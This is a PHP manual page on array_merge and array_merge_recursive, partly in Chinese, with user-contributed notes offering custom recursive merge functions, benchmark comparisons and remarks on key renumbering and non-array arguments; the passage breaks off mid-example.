I've edit this version even a little bit more, so that the function does not override any values, but inserts them at a free key in the array:

function my_array_merge ($arr,$ins) {
    if(is_array($arr))
    {
        if(is_array($ins)) foreach($ins as $k=>$v)
        {
            if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
            {
                $arr[$k] = my_array_merge($arr[$k],$v);
            }
            else {
                // This is the new loop :)
                while (isset($arr[$k]))
                    $k++;
                $arr[$k] = $v;
            }
        }
    }
    elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
    {
        $arr=$ins;
    }
    return($arr);
}

Example:

$array1 = array(
    100 => array(30),
    200 => array(20, 30)
);

$array2 = array(
    100 => array(40),
    201 => array(60, 30)
);

print_r(my_array_merge($array1,$array2));

Output with array_merge_recursive:
Array
(
    [0] => Array
        (
            [0] => 30
        )

    [1] => Array
        (
            [0] => 20
            [1] => 30
        )

    [2] => Array
        (
            [0] => 40
        )

)
This is not the result, I expect from a MERGE-Routine...

Output with the current function:

Array
(
    [100] => Array
        (
            [0] => 30
            [1] => 40
        )

    [200] => Array
        (
            [0] => 20
            [1] => 30
        )

)

This is what I want :)
scott dot clark at vizioninteractive dot com 28-Aug-2008 01:55
Needed some way to fuse two arrays together and found a function here (below from thomas) and decided to update it even further to be a little more smart.

<?php
function my_array_merge ($arr,$ins)
    {
        if(is_array($arr))
            {
                if(is_array($ins)) foreach($ins as $k=>$v)
                    {
                        if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
                            {
                                $arr[$k] = my_array_merge($arr[$k],$v);
                            }
                        else $arr[$k] = $v;
                    }
            }
        elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
            {
                $arr=$ins;
            }
        return($arr);
    }
?>
thomas at n-o-s-p-a-m dot thoftware dot de 04-May-2008 06:50
This is a simple, three line approach.

Short description: If one of the Arguments isn't an Array, first Argument is returned. If an Element is an Array in both Arrays, Arrays are merged recursively, otherwise the element in $ins will overwrite the element in $arr (regardless if key is numeric or not). This also applys to Arrays in $arr, if the Element is scalar in $ins (in difference to the previous approach).

  function array_insert($arr,$ins) {
    # Loop through all Elements in $ins:
    if (is_array($arr) && is_array($ins)) foreach ($ins as $k => $v) {
      # Key exists in $arr and both Elemente are Arrays: Merge recursively.
      if (isset($arr[$k]) && is_array($v) && is_array($arr[$k])) $arr[$k] = array_insert($arr[$k],$v);
      # Place more Conditions here (see below)
      # ...
      # Otherwise replace Element in $arr with Element in $ins:
      else $arr[$k] = $v;
    }
    # Return merged Arrays:
    return($arr);
  }

In Addition to felix dot ospald at gmx dot de in my opinion there is no need to compare keys with type-casting, as a key always is changed into an integer if it could be an integer. Just try

$a = array('1'=>'1');
echo gettype(key($a));

It will echo 'integer'. So for having Integer-Keys simply appended instead of replaced, add the Line:

  elseif (is_int($k)) $arr[] = $v;

A Condition I used is:

  elseif (is_null($v)) unset($arr[$k]);

So a NULL-Value in $ins will unset the correspondig Element in $arr (which is different to setting it to NULL!). This may be another Addition to felix dot ospald at gmx dot de: The absolute correct way to check for a Key existing in an Array is using array_key_exists() (not needed in the current context, as isset() is combined with is_array()). array_key_exists() will return TRUE even if the Value of the Element is NULL.

And the last one: If you want to use this approach for more than 2 Arrays, simply use this:

  function array_insert_mult($arr) {
    # More than 1 Argument: Append all Arguments.
    if (func_num_args() > 1) foreach (array_slice(func_get_args(),1) as $ins) $arr = array_insert($arr,$ins);
    # Return merged Arrays:
    return($arr);
  }

And if you worry about maintaining References: Simply use $ins[$k] instead of $v when assigning a Value/using a Value as Argument.
felix dot ospald at gmx dot de 26-Feb-2008 11:23
If you desire correct and performant behaviour (in contrast to the other postings) use this code. It works as documented above.
If you want that keys are always perserved and not appended or renumbered if they are numeric comment out the "if (((string) $key) === ((string) intval($key)))" case.
@spambegone at cratemedia dot com: using empty is not right way to check if an item is in the array use isset!

<?php

function array_merge_recursive2($array1, $array2)
{
    $arrays = func_get_args();
    $narrays = count($arrays);

    // check arguments
    // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array)
    for ($i = 0; $i < $narrays; $i ++) {
        if (!is_array($arrays[$i])) {
            // also array_merge_recursive returns nothing in this case
            trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning null!', E_USER_WARNING);
            return;
        }
    }

    // the first array is in the output set in every case
    $ret = $arrays[0];

    // merege $ret with the remaining arrays
    for ($i = 1; $i < $narrays; $i ++) {
        foreach ($arrays[$i] as $key => $value) {
            if (((string) $key) === ((string) intval($key))) { // integer or string as integer key - append
                $ret[] = $value;
            }
            else { // string key - megre
                if (is_array($value) && isset($ret[$key])) {
                    // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays)
                    // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be null.
                    $ret[$key] = array_merge_recursive2($ret[$key], $value);
                }
                else {
                    $ret[$key] = $value;
                }
            }
        }
    }

    return $ret;
}

// Examples:

print_r(array_merge_recursive2(array('A','B','C' => array(1,2,3)), array('D','C' => array(1,4))));
/*
Array
(
    [0] => A
    [1] => B
    [C] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 1
            [4] => 4
        )
    [2] => D
)*/

print_r(array_merge_recursive2(array('A','B','0' => array(1,2,3)), array('D','0' => array(1,array(4)))));
/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => B
    [2] => Array
        (
            [0] => 1
            [1] => Array
                (
                    [0] => 4
                )
        )
)*/

print_r(array_merge_recursive2(array('A' => array('A' => 1)), array('A' => array('A' => array(2)))));
/*
Warning: Argument #1 is not an array - trying to merge array with scalar! Returning null! in ... on line ...
*/

var_dump(array_merge_recursive2(array('A' => array('A' => 2)), array('A' => array('A' => null))));
/*
array(1) { ["A"]=>  array(1) { ["A"]=>  NULL } }
*/

?>
spambegone at cratemedia dot com 12-Feb-2008 02:06
I've tried these array_merge_recursive functions without much success. Maybe it's just me but they don't seem to actually go more than one level deep? As with all things, its usually easier to write your own, which I did and it seems to work just the way I wanted. Anyways, my function hasn't been tested extensively, but it's a simple function, so in hopes that this might be useful to someone else I'm sharing.

Also, the PHP function array_merge_recursive() didn't work for my purposes because it didn't overwrite the values like I needed it to. You know how it works, it just turns it into an array with multiple values... not helpful if your code is expecting one string.

function array_merge_recursive_unique($array1, $array2) {

    // STRATEGY
    /*
    Merge array1 and array2, overwriting 1st array values with 2nd array
    values where they overlap. Use array1 as the base array and then add
    in values from array2 as they exist.

    Walk through each value in array2 and see if a value corresponds
    in array1. If it does, overwrite with second array value. If it's an
    array, recursively execute this function and return the value. If it's
    a string, overwrite the value from array1 with the value from array2.

    If a value exists in array2 that is not found in array1, add it to array1.
    */

    // LOOP THROUGH $array2
    foreach($array2 AS $k => $v) {

        // CHECK IF VALUE EXISTS IN $array1
        if(!empty($array1[$k])) {
            // IF VALUE EXISTS CHECK IF IT'S AN ARRAY OR A STRING
            if(!is_array($array2[$k])) {
                // OVERWRITE IF IT'S A STRING
                $array1[$k]=$array2[$k];
            } else {
                // RECURSE IF IT'S AN ARRAY
                $array1[$k] = array_merge_recursive_unique($array1[$k], $array2[$k]);
            }
        } else {
            // IF VALUE DOESN'T EXIST IN $array1 USE $array2 VALUE
            $array1[$k]=$v;
        }
    }
    unset($k, $v);

    return $array1;
}
paha at paha dot hu 12-Mar-2007 12:02
In this version the values are overwritten only if they are not an array.  If the value is an array, its elements will be merged/overwritten:

// array_merge_recursive which override value with next value.
// based on: http://www.php.net/manual/hu/function.array-merge-recursive.php 09-Dec-2006 03:38
function array_merge_recursive_unique($array0, $array1)
{
    $arrays = func_get_args();
    $remains = $arrays;

    // We walk through each arrays and put value in the results (without
    // considering previous value).
    $result = array();

    // loop available array
    foreach($arrays as $array) {

        // The first remaining array is $array. We are processing it. So
        // we remove it from remaing arrays.
        array_shift($remains);

        // We don't care non array param, like array_merge since PHP 5.0.
        if(is_array($array)) {
            // Loop values
            foreach($array as $key => $value) {
                if(is_array($value)) {
                    // we gather all remaining arrays that have such key available
                    $args = array();
                    foreach($remains as $remain) {
                        if(array_key_exists($key, $remain)) {
                            array_push($args, $remain[$key]);
                        }
                    }

                    if(count($args) > 2) {
                        // put the recursion
                        $result[$key] = call_user_func_array(__FUNCTION__, $args);
                    } else {
                        foreach($value as $vkey => $vval) {
                            $result[$key][$vkey] = $vval;
                        }
                    }
                } else {
                    // simply put the value
                    $result[$key] = $value;
                }
            }
        }
    }
    return $result;
}
randallgirard at hotmail dot com 26-Nov-2006 01:18
I wrote the following for merging arrays, in my project mainly for configuration... Thought someone else might find it usefull.

function array_merge_recursive_keys( $first, $second, $greedy=false) {
   $inter = array_intersect_assoc(array_keys($first), array_keys($second)); # shaired keys
# the idea next, is to strip and append from $second into $first
   foreach ( $inter as $key ) {
   # recursion if both are arrays
      if ( is_array($first[$key]) && is_array($second[$key]) ) {
         $first[$key] = array_merge_recursive_keys($first[$key], $second[$key]);
      }
   # non-greedy array merging:
      else if ( is_array($first[$key] && !$greedy ) ) {
         $first[$key][] = $second[$key];
      }
      else if ( is_array($second[$key]) && !$greedy ) {
         $second[$key][] = $first[$key];
         $first[$key] = $second[$key];
      }
   # overwrite...
      else {
         $first[$key] = $second[$key];
      }
      unset($second[$key]);
   }
# merge the unmatching keys onto first
   return array_merge($first, $second);
}
thiago dot mata at yahoo dot com dot br 30-Sep-2006 12:25
<?php
    function array_merge_recursive_keep_keys( $arrElement1 , $arrElement2 , $intCount = 0 )
    {

        $arrNew = array();

        $arrElement1Keys = array_keys( $arrElement1 );
        $arrElement2Keys = array_keys( $arrElement2 );

        $arrDifKeys1 = array_diff( $arrElement1Keys, $arrElement2Keys );
        $arrDifKeys2 = array_diff( $arrElement2Keys, $arrElement1Keys );
        $arrInter     = array_intersect( $arrElement1Keys , $arrElement2Keys );

        foreach( $arrDifKeys1 as $strKey1)
        {
            $arrNew[ $strKey1 ] = $arrElement1[ $strKey1 ];
        }
        foreach( $arrDifKeys2 as $strKey2)
        {
            $arrNew[ $strKey2 ] = $arrElement2[ $strKey2 ];
        }
        foreach( $arrInter as $strInterKey )
        {
            if( is_array( $arrElement1[ $strInterKey ] ) && is_array( $arrElement2[ $strInterKey ] ) )
            {
                $intCount++;
                $arrNew[ $strInterKey ] = array_merge_recursive_keep_keys( $arrElement1[ $strInterKey ] , $arrElement2[ $strInterKey ] , $intCount );
            }
            elseif( is_array( $arrElement1[ $strInterKey ] ) || is_array( $arrElement2[ $strInterKey ] ) )
            {
                $arrNew[ $strInterKey ][]    =  $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][]    =  $arrElement2[ $strInterKey ];
            }
            else
            {
                $arrNew[ $strInterKey ] = array();
                $arrNew[ $strInterKey ][] = $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][] = $arrElement2[ $strInterKey ];
            }
        }
        return $arrNew;
    }
?>
smilingrasta 07-Jul-2006 10:04
This function tends to reindex arrays, which is not  mentioned in the function description.

I just tried to run that function on a three dimensional array, containing errormessages.
The first dim. contains the severity of the error ('warn', 'crit') the second dim the linenumber (numerical) and the third one consists of errormessages

<?php
# Array printout:
Array
 (
   [warn] => Array  // severity (associative)
    (
      [2] => Array  // linenumber (numerical)
       (
         [0] => "Category does not exist"
         [1] => "Manufacturer does not exist"
       )
    )
 )

?>

If i now merge two or more of those arrays using array_merge_recursive(), the linenumbers are not conserved. Instead of, they are all renumbered, starting with 0.

Just thought anyone may want to know about that. :)
regards, smilingrasta
manicdepressive at mindless dot com 22-Jun-2004 07:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

    code till dawn!  -mark
brian at vermonster dot com 25-May-2004 02:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
    if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
    foreach ($paArray2 AS $sKey2 => $sValue2)
    {
        $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
    }
    return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
    'liquids' => array(
        'water' => array('cold', 'fizzy', 'clean')
        ,'beer' => 'warm'
    )
);

$array2 = array(
    'liquids' => array(
        'water' => 'hot'
        ,'milk' => 'wet'
    )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
    [liquids] => Array
        (
            [water] => hot
            [beer] => warm
            [milk] => wet
        )
)

Result 2 is:
Array
(
    [liquids] => Array
        (
            [water] => Array
                (
                    [0] => cold
                    [1] => fizzy
                    [2] => clean
                )

            [milk] => wet
            [beer] => warm
        )
)
paska at kios dot sk 04-Mar-2004 02:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

    function stripMagicSlashes($element) {
        if (is_array($element)) {
            return array_map("stripMagicSlashes", $element);
        } else {
            return stripslashes($element);
        }
    }

    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_GET    = array_map("stripMagicSlashes", $_GET);
    $_POST   = array_map("stripMagicSlashes", $_POST);
    $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.


合并一个或多个数组

  • ? array_merge_recursive
  • array_multisort ?
  • PHP Manual
  • 数组 函数
  • 合并一个或多个数组

array_merge

(PHP 4, PHP 5, PHP 7)

array_merge — 合并一个或多个数组

说明

array_merge ( array $array1 [, array $... ] ) : array

array_merge() 将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则该键名后面的值将覆盖前一个值。然而，如果数组包含数字键名，后面的值将不会覆盖原来的值，而是附加到后面。

如果只给了一个数组并且该数组是数字索引的，则键名会以连续方式重新索引。

参数

array1

要合并的第一个数组。

...

要合并的数组列表。

返回值

返回结果数组。

范例

Example #1 array_merge() 例子

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

以上例程会输出：

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

Example #2 Simple array_merge() 例子

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);
?>

别忘了数字键名将会被重新编号！

Array
(
    [0] => data
)

如果你想完全保留原有数组并只想新的数组附加到后面，用 + 运算符：

<?php
$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');
$result = $array1 + $array2;
var_dump($result);
?>

第一个数组的键名将会被保留。在两个数组中存在相同的键名时，第一个数组中的同键名的元素将会被保留，第二个数组中的元素将会被忽略

array(5) {
  [0]=>
  string(6) "zero_a"
  [2]=>
  string(5) "two_a"
  [3]=>
  string(7) "three_a"
  [1]=>
  string(5) "one_b"
  [4]=>
  string(6) "four_b"
}

Example #3 array_merge() 合并非数组的类型

<?php
$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array)$beginning, (array)$end);
print_r($result);
?>

以上例程会输出：

    Array
    (
        [0] => foo
        [1] => bar
    )

参见

  • array_merge_recursive() - 递归地合并一个或多个数组
  • array_replace() - 使用传递的数组替换第一个数组的元素
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • array operators

User Contributed Notes

makjoybd [at] gmail [dot] com 22-Jul-2019 08:25
$a = array(1,2,3);    // an array
$b = 5;  // anything but not an array

$c = array_merge($a, $b); // shows a PHP warning: Argument #2 is not an array

var_dump($c); // output as NULL

// now merge in reverse order
$d = array_merge($b, $a); // shows a PHP warning: Argument #1 is not an array

var_dump($d); // output as NULL

NOTE: For any operation that relies on the previous array merge operation it is highly necessary to check the arguments as well as the result of the merge are arrays before continuing  as the warning would not stop the operation and this might result in data loss and what not... and this should also be stated in the .documentation. Example #3 somewhat started to demonstrate this but used type casting which made this irrelevant to this matter.
pike-common at kw dot nl 08-Oct-2018 01:49
When mixing string keys and numeric keys, numeric keys are still renumbered after merge.

<?php
        $test1= array("foo"=>"rfoo1",2=>"r21","bar"=>"rbar1");
        $test2= array("foo"=>"rfoo2",2=>"r22","bar"=>"rbar2");
        var_dump(array_merge($test1,$test2));
?>
  array(4) {
    ["foo"]=>
    string(5) "rfoo2"
    [0]=>
    string(3) "r21"
    ["bar"]=>
    string(5) "rbar2"
    [1]=>
    string(3) "r22"
 }

adding arrays doesn't:

<?php
        var_dump($test2+$test1);
?>
  array(3) {
    ["foo"]=>
    string(5) "rfoo2"
    [2]=>
    string(3) "r22"
    ["bar"]=>
    string(5) "rbar2"
  }
withtvpeter at gmail dot com 21-Apr-2018 09:42
Suffice to add, array_merge() creates a new array from the supplied array(s) and does not modify the supplied array(s). Example:

$array1 = ["a" => "one", "b"=>"two"];
$array2 = [ "c" => "three", "d" => "four"];

$mergedArray = array_merge($array1, $array2);

print_r($mergedArray); // => ["a"=> "one", "b"=> "two", "c"=>"three", "d"=>"four"];
print_r($array1);  //=> ["a"=>"one", "b"=>"two"];
matias dot r dot ventura at gmail dot com 06-Apr-2018 06:44
Note that if you want to append one array to another, using a foreach in conjuction with array_push is A LOT faster:

<?php

$array = array("one", "two", "three", "four");
$test1 = array();
$test2 = array();
$mctime = microtime(true);

for($i = 0; $i < 10000; $i++){
    $test1 = array_merge($test1, $array);
}

echo("Test 1: ". (microtime(true) - $mctime) ."s     ");
$mctime = microtime(true);

for($i = 0; $i < 10000; $i++){
    foreach($array as $value){
        array_push($test2, $value);
    }
}

echo("Test 2: ". (microtime(true) - $mctime) ."s     ");
?>

This in my case resolves to:

Test 1: 2.7962880134583s
Test 2: 0.0039298534393311s
ian_channing at hotmail dot com 12-Oct-2017 05:36
array_merge is the equivalent of concat in other languages. I tried to submit a bug that array_concat should be created as an alias to this but it was rejected on the basis they didn't want to polute the namespace and that the documentation should be updated instead. So here's what I put in the bug #73576:

There is no documented array concatenation function. This is a very common function, e.g. Javascript and Ruby have the `concat` function, Python has `+` and Haskell has `++`.

The `array_merge` function is what has be used if you want to concatenate arrays. However it is not mentioned in the documentation (not even in the comments) of that method that that is what should be used.

I propose that `array_concat` be created as an alias of `array_merge`. The concatenation of an associative array is also consistent with trying to merge the hash maps. For example there is a Stack Overflow question on 'concatenating two dictionaries' that is marked as a duplicate of the function 'How to merge two Python dictionaries'. That is, it is consistent that hash map concatenation is the same as hash map merging.

So I believe that `array_concat` is a perfect alias for `array_merge` in terms of numeric arrays and a valid (albeit unnecessary) alias for associative arrays.

This will help almost all developers coming to PHP from other dynamic languages.
titum at lavache dot com 01-Aug-2017 11:56
foreach loop is faster than array_merge to append values to an existing array, so choose the loop instead if you want to add an array to the end of another.

<?php
// Create an array of arrays
$chars = [];
for ($i = 0; $i < 15000; $i++) {
    $chars[] = array_fill(0, 10, 'a');
}

// test array_merge
$new = [];
$start = microtime(TRUE);
foreach ($chars as $splitArray) {
    $new = array_merge($new, $splitArray);
}
echo microtime(true) - $start; // => 14.61776 sec

// test foreach
$new = [];
$start = microtime(TRUE);
foreach ($chars as $splitArray) {
    foreach ($splitArray as $value) {
        $new[] = $value;
    }
}
echo microtime(true) - $start; // => 0.00900101 sec
// ==> 1600 times faster
?>
woodongwong at gmail dot com 26-Apr-2017 09:35
As PHP 5.6 you can use array_merge + "splat" operator to reduce a bidimensonal array to a simple array:

<?php
$data = [[1, 2], [3], [4, 5]];
    print_r(array_merge(... $data)); // [1, 2, 3, 4, 5];
?>

PHP < 5.6:

<?php
$data = [[1, 2], [3], [4, 5]];
print_r(array_reduce($data, 'array_merge', []));   // [1, 2, 3, 4, 5];

?>
padina 10-Apr-2017 08:10
Static functions of Classes  with Namespace are callables too.

namespace Vendor\Extension\Service;

class SvgFormationService implements \TYPO3\CMS\Core\SingletonInterface
{

    public static function doubleQuote($value) {
        return '"'.$value.'"';
    }

    public static function otherFunc ($value) {
        $tagAttributes = array_map('\Vendor\Extension\Service\SvgFormationService::doubleQuote',$tagAttributes);
    }
}
rameezsoomro dot pk at live dot com 17-Jan-2017 05:17
Array merge will return null if any parameter not an array
<?php
$DB_user_result=  DB::select()->where()->get(); // return null if not found.
$DB_exists_user_info = ['name'=>'Rameez Soomro','Location'=>'Karachi, Sindh, Pakistan'];
print_r(array_merge($DB_user_result, $DB_exists_user_info));  //NULL
?>
Here is function for solution of array_merge
function copied from  http://sdtuts.com/php-array_merge-function-issue/
<?php
function merge_arrays_obj(){
  $func_info = debug_backtrace();
  $func_args = $func_info[0]['args'];
  $return_array_data = array();
  foreach($func_args as $args_index=>$args_data){
    if(is_array($args_data) || is_object($args_data)){
    $return_array_data = array_merge($return_array_data,$args_data);
    }
  }
  return $return_array_data;
}
?>

Code example how to use it
<?php
$array = array('abc'=>'abcparam');
$null_array = null;
$new_arraydata = array('username'=>'Rameez Soomro','usersite'=>'http://sdtuts.com');
$new_arrayOBJ = array ( (object) array('obj_DATA' => 'ABC_OBJ','obj_next_index '=>'ABC_OBJ_NEXT_INDEX') );
$new_array_data = merge_arrays_obj($array,$null_array,$new_arraydata,$new_arrayOBJ);
print_r($new_array_data);
?>
jcmarchi at gmail dot comfive 20-May-2016 04:06
It is not officially documented but it is summarily important information for everyone to know: neither array_merge or array_merge_recursive functions will function correctly if non-array objects  are used as parameters.

You would probably expect these functions to ignore non-array elements, right? However, if one parameter is null it PHP will not only return null for the entire function but will also (not always) raise an error, such as :

    [ Warning: array_merge(): Argument #x is not an array... ]

This error message won't appear if the defective variable is an empty array (an empty array is still an array), but it will result in an undesirable incomplete Array.

There are several solutions for this problem by validating the Arrays before use them in these functions, but the most efficient way is to enforce the element as an array directly in the function itself. I.e.:

$merged = array_merge( (array)$first_array, (array)$second_array );
arifulin at gmail dot com 15-Mar-2016 09:10
public function mergeArrays($arrays, $field)
    {
        //take array in arrays for retrive structure after merging
        $clean_array = current($arrays);
        foreach ($clean_array as $i => $value) {
            $clean_array[$i]='';
        }

        $merged_array = [];
        $name = '';
        foreach ($arrays as $array){
            $array = array_filter($array); //clean array from empty values
            if ($name == $array[$field]) {
                $merged_array[$name] = array_merge($merged_array[$name], $array);
                $name = $array[$field];
            } else {
                $name = $array[$field];
                $merged_array[$name] = $array;
            }
        }
        //have to be cleaned from array 'field' signs to return original structure of arrays
        foreach ($merged_array as $array){
            $ready_array[] = array_merge($clean_array, $array);
        }

        return $ready_array;
    }
kristopolous at yahoo dot com 26-Feb-2016 10:46
I constantly forget the direction of array_merge so this is partially for me and partially for people like me.

array_merge is a non-referential non-inplace right-reduction. For different ctrl-f typers, it's reduce-right, side-effect free, idempotent, and non in-place.

ex:

$a = array_merge(['k' => 'a'], ['k' => 'b']) => ['k' => 'b']
array_merge(['z' => 1], $a) => does not modify $a but returns ['k' => 'b', 'z' => 1];

Hopefully this helps people that constant look this up such as myself.
info at eastghost dot com 05-Sep-2015 01:37
We noticed array_merge is relatively slower than manually extending an array:

given:
$arr_one[ 'x' => 1, 'y' => 2 ];
$arr_two[ 'a' => 10, 'b' => 20 ];

the statement:
$arr_three = array_merge( $arr_one, $arr_two );
is routinely 200usec slower than:

$arr_three = $arr_one;
foreach( $arr_two as $k => $v ) { $arr_three[ $k ] = $v; }

200usec didn't matter...until we started combining huge arrays.

PHP 5.6.x
Anonymous 29-Jun-2015 09:48
As PHP 5.6 you can use array_merge + "splat" operator to reduce a bidimensonal array to a simple array:

<?php
$data = [[1, 2], [3], [4, 5]];
print_r(array_merge(... $data)); // [1, 2, 3, 4, 5];
?>
gj@php 01-Jul-2014 02:59
i did a small benchmark (on  PHP 5.3.3) comparing:
* using array_merge on numerically indexed arrays
* using a basic double loop to merge multiple arrays

the performance difference is huge:

<?php

require_once("./lib/Timer.php");

function method1($mat){
    $all=array();
    foreach($mat as $arr){
        $all=array_merge($all,$arr);
    }
    return $all;
}

function method2($mat){
    $all=array();
    foreach($mat as $arr){
        foreach($arr as $el){
            $all[]=$el;
        }
    }
    return $all;
}

function tryme(){
    $y=250; //#arrays
    $x=200; //size per array
    $mat=array();
    //build big matrix
    for($i=0;$i<$y;$i++){
        for($j=0;$j<$x;$j++){
            $mat[$i][$j]=rand(0,1000);
        }
    }

    $t=new Timer();
    method1($mat);
    $t->displayTimer();

    $t=new Timer();
    method2($mat);
    $t->displayTimer();

/*
output:
Script runtime: 2.36782 secs. Script runtime: 0.02137 sec.
*/

}

tryme();

?>

So that's more than a factor 100!!!!!
Angel I 12-Jun-2014 01:57
An addition to what Julian Egelstaff above wrote - the array union operation (+) is not doing an array_unique - it will just not use the keys that are already defined in the left array.  The difference between union and merge can be seen in an example like this:

<?php
$arr1['one'] = 'one';
$arr1['two'] = 'two';

$arr2['zero'] = 'zero';
$arr2['one'] = 'three';
$arr2['two'] = 'four';

$arr3 = $arr1 + $arr2;
var_export( $arr3 );
# array ( 'one' => 'one', 'two' => 'two', 'zero' => 'zero', )

$arr4 = array_merge( $arr1, $arr2 );
var_export( $arr4 );
# array ( 'one' => 'three', 'two' => 'four', 'zero' => 'zero', )
?>
php at metehanarslan dot com 10-Jun-2014 10:49
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
rajaimranqamer at gmail dot com 28-May-2014 08:26
to get unique value from multi dimensional array use this instead of array_unique(), because array_unique() does not work on multidimensional:
array_map("unserialize", array_unique(array_map("serialize", $array)));
Hope this will help someone;
Example
$a=array(array('1'),array('2'),array('3'),array('4));
$b=array(array('2'),array('4'),array('6'),array('8));
$c=array_merge($a,$b);
then write this line to get unique values
$c=array_map("unserialize", array_unique(array_map("serialize", $c)));
print_r($c);
vladas dot dirzys at gmail dot com 21-Aug-2013 09:11
To combine several results (arrays):

<?php
$results = array(
    array(
        array('foo1'),
        array('foo2'),
    ),
    array(
        array('bar1'),
        array('bar2'),
    ),
);

$rows = call_user_func_array('array_merge', $results);
print_r($rows);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => foo1
        )

    [1] => Array
        (
            [0] => foo2
        )

    [2] => Array
        (
            [0] => bar1
        )

    [3] => Array
        (
            [0] => bar2
        )

)

However, example below helps to preserve numeric keys:

<?php
$results = array(
    array(
        123 => array('foo1'),
        456 => array('foo2'),
    ),
    array(
        321 => array('bar1'),
        654 => array('bar2'),
    ),
);

$rows = array();
foreach ($results as &$result) {
    $rows = $rows + $result; // preserves keys
}
print_r($rows);
?>

The above example will output:
Array
(
    [123] => Array
        (
            [0] => foo1
        )

    [456] => Array
        (
            [0] => foo2
        )

    [321] => Array
        (
            [0] => bar1
        )

    [654] => Array
        (
            [0] => bar2
        )
)
Gemorroj 14-May-2012 08:37
The function behaves differently with numbers more than PHP_INT_MAX
<?php
$arr1 = array('1234567898765432123456789' => 'dd');
$arr2 = array('123456789876543212345678' => 'ddd', '35' => 'xxx');
var_dump(array_merge($arr1, $arr2));
//
$arr1 = array('1234' => 'dd');
